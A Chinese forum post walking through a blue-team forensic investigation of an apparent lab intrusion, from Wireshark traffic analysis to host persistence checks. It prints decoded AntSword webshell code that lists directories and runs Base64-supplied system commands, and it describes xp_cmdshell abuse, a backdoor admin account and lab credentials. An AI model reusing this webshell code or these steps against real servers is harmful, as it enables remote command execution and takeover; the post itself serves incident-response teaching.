找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

426

积分

1

好友

48

主题
发表于 21 小时前 | 查看: 7| 回复: 0

一、流量分析

(一)、排查攻击者IP地址
步骤一:协议分级统计

图片图片 在协议分级统计中可以看到,应用层中涉及的协议主要是HTTP协议,可以初步判断该攻击事件为Web攻击事件。

步骤二:会话统计

图片 这里查看IPV4流量的统计信息,可以看到在该流量包中主要是192.168.78.142和192.168.78.1之间的通信流量占绝大部分,其次是192.168.78.142和192.168.78.134,最后是192.168.78.142和192.168.78.2,可以初步怀疑192.168.78.1192.168.78.134192.168.78.2这三个其中一个、两个甚至三个为攻击者的IP地址。 从535数据包开始,攻击者就开始对服务器端口扫描,193656才结束。 图片 最后扫描出开放了Web端口27689。 图片

步骤三:流量筛选分析

已知攻击事件为Web攻击,可以在WireShark的显示过滤器中过滤HTTP流量。

http

图片 根据上面的信息,发现主要IP是192.168.78.1,可确定攻击者IP就为192.168.78.1

(二)、攻击行为分析
步骤一:后台目录Fuzz阶段分析

确定192.168.78.1为攻击者IP后,接下来梳理其攻击过程。我们可以直接过滤攻击者IP相关的HTTP协议流量进行排查。在WireShark显示过滤器中使用以下过滤规则:

ip.addr==192.168.78.1 && http

图片

步骤二:后台登陆界面口令爆破攻击分析

图片 打开流量发现,攻击者在爆破后台账户密码,服务器回复显示用户不存在。 图片图片 不难发现,攻击者在进行目录扫描攻击。 图片 起初攻击者在针对Web站点的目录进行Fuzz,试图找出Web站点现有的Webshell、后台管理地址等敏感目录,特征也很明显,HTTP请求都是针对Web敏感目录的GET请求,且服务器返回的响应绝大多数都是404 Not Found。 扫描到web.config.bak时,发现了密码。 图片 发现攻击者下载了这个文件。 图片 下面的流量发现,攻击者用密码登录了后台。从32644包开始,攻击者就开始在后台进行操作。 图片

步骤三:攻击者尝试下载文件服务器的文件

图片

步骤四:获取上传文件所在的路径

根据服务器的返回,服务器没有找到这个文件,返回一个报错信息,报错信息中爆出了文件的绝对路径。 图片 尝试文件路径是否正确,最后测试成功,上传的图片路径如下:

/upfile/affix/638566380966461055-aaaaaaaa.aspx

图片

步骤五:通过后台管理功能上传第一个Webshell,获得执行系统命令权限。

从这个包开始,攻击者使用Webshell连接工具进行连接,发现名为636624422343506512-aaaaaaaa.aspx的木马文件。 图片 追踪该HTTP流。 图片 根据解码发现,这是蚁剑的流量,Webshell密码为chopper。蚁剑是渗透测试中常用的Webshell管理工具。 图片 攻击者进行的操作:

  1. 遍历目录: 图片 这段代码主要用来解析一个Base64编码的字符串,将其解码成一个目录路径,然后列出该目录下的所有子目录和文件。具体来说,它会输出每个子目录和文件的名称、最后修改时间、大小(对于文件)、以及属性。 代码解释如下:

    var D = System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["o333dffee79d8c"].substr(2)));
    • Request.Item["o333dffee79d8c"].substr(2):从HTTP请求的参数o333dffee79d8c中获取值,并去掉前两个字符。
    • System.Convert.FromBase64String:将去掉前两个字符后的值从Base64编码解码为字节数组。
    • System.Text.Encoding.GetEncoding("GBK").GetString:将解码后的字节数组转换为GBK编码的字符串,存储在变量D中。
      var m = new System.IO.DirectoryInfo(D);
      var s = m.GetDirectories();
    • new System.IO.DirectoryInfo(D):创建一个DirectoryInfo对象,表示目录D。
    • m.GetDirectories():获取目录D中的所有子目录。
      var P:String;
      var i;
      function T(p:String):String { return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss"); }
    • P:用于存储每个子目录或文件的完整路径。
    • i:用于循环迭代。
    • T(p:String):String:函数,接受一个文件路径p,返回该文件的最后修改时间。
      for(i in s){
      P = D + s[i].Name;
      Response.Write(s[i].Name+"/\t"+ T(P)+"\t0\t"+(s[i].Attributes)+"\n");
      }
    • 遍历所有子目录,输出子目录的名称、最后修改时间、固定大小(0),以及属性。
      s = m.GetFiles();
      for(i in s){
      P = D + s[i].Name;
      Response.Write(s[i].Name+"\t"+ T(P)+"\t"+ s[i].Length+"\t"+(s[i].Attributes)+"\n");
      }
    • 获取目录中的所有文件,遍历并输出文件的名称、最后修改时间、文件大小,以及属性。
  2. 获取系统信息: 图片图片 这段代码用于获取服务器上的逻辑驱动器、当前路径、操作系统版本和当前用户名。

    var c = System.IO.Directory.GetLogicalDrives();
    Response.Write(Server.MapPath(".") + "\t");
    for (var i = 0; i <= c.length - 1; i++) Response.Write(c[i][0] + ":");
    Response.Write("\t" + Environment.OSVersion + "\t");
    Response.Write(Environment.UserName);
  3. 执行系统命令: 图片图片 这段代码是一个用于在服务器上执行命令并获取输出的ASP.NET脚本,存在严重的安全风险。

    var c = new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["x4487feb1efaef"].substr(2))));
    var e = new System.Diagnostics.Process();
    var out: System.IO.StreamReader, EI: System.IO.StreamReader;
    c.UseShellExecute=false;
    c.RedirectStandardOutput=true;
    c.RedirectStandardError=true;
    e.StartInfo = c;
    c.Arguments = "/c " + System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["q3aed900b95ec1"].substr(2)));
    ... // 环境变量处理部分
    e.Start();
    out= e.StandardOutput;
    EI = e.StandardError;
    e.Close();
    Response.Write(out.ReadToEnd() + EI.ReadToEnd());

    代码通过从HTTP请求中获取Base64编码的命令字符串,创建进程并执行,最后将标准输出和错误输出返回。

步骤六:攻击者发现数据库管理员账户

在138549包中发现攻击者打开了web.config.bat文件,这里暴露了数据库的密码。

sa cisp-pte@sa

图片 这里发现,有另一台主机192.168.78.2参与进来,最后发现192.168.78.142192.168.78.2进行通信。 图片

步骤七:攻击者登录数据库

下面发现攻击者访问了服务器的数据库服务。 图片 过滤出1433端口的数据流量。

tcp.port == 1433

图片 发现攻击者登录数据库执行了SQL语句。 图片图片 执行的SQL代码: 图片 上面这条SQL语句用于获取当前运行的Microsoft SQL Server实例的详细信息。 进行了查询操作: 图片 服务器也返回了正常的查询结果: 图片 经过排查,在下面这里利用扩展存储过程执行系统命令。

步骤八:利用扩展存储过程(xp_cmdshell)执行系统命令

xp_cmdshell是SQL Server中的一个组件,可以用来执行操作系统命令。它让系统管理员以命令行解释器的方式执行给定的命令字符串,并以文本行方式返回输出。需要sa等高级权限账户才能调用。 下面发现攻击者登录后,利用xp_cmdshell执行了系统命令(根据前面泄露的sa账户),添加了一个admin用户,密码123456,并且加入到管理组。

  1. 创建后门用户 图片图片

  2. 开启3389端口 图片图片图片图片

步骤九:攻击者利用后门用户远程登录成功

过滤3389端口的流量,发现攻击者远程登录成功。

tcp.port == 3389

图片

二、入侵排查

一、排查恶意用户
步骤一:使用wmic获取系统账号列表
wmic useraccount get name

图片 上面cisp-pteadmin这两个用户是非原系统用户,根据前面流量分析,这两个用户是SQL Server命令执行创建的。

步骤二、使用运行命令打开事件查看器:
  • Win + R 打开运行窗口。
  • 输入 eventvwr 并按 Enter。 发现admin用户在2024.7.15 11:30:09登录。 图片
二、排查用户组

发现admin用户被加入到了管理员组。 图片 其他用户组都正常。 图片

三、排查计划任务

任务计划里面都是admin用户创建的计划任务。 图片 经过查看发现,该任务每天19:17都会执行。 图片 另一个任务是每天11:13执行。 图片

四、排查启动项

发现启动的是666.exe软件。 图片 通过查杀软件发现,这是一个木马病毒。 图片 微步检测出目的IP和端口,这正是流量分析中一个机器的IP。 图片图片

五、排查启动脚本
步骤一:打开注册表

进入HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,看到名为startup的启动项,同样指向666.exe

步骤二:检查注册表HKEY_CURRENT_USER下的启动项

批处理文件也指向666.exe图片

六、排查恶意服务

发现恶意服务,路径也指向666.exe图片 通过本次完整的蓝队溯源分析可以看出,攻击链清晰:从Web目录扫描、敏感文件泄露,到后台登录、上传Webshell,进而利用数据库弱口令执行系统命令,最终实现持久化控制。防守方应加强日志监控、定期进行安全配置审计并及时修补漏洞,以防范此类攻击。




上一篇:Java开发中建造者模式实战:Lombok @Builder的避坑指南
下一篇:MySQL常用操作命令实战速查手册:运维开发必备
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区(YunPan.Plus) ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-6 23:53 , Processed in 0.110362 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 CloudStack.

快速回复 返回顶部 返回列表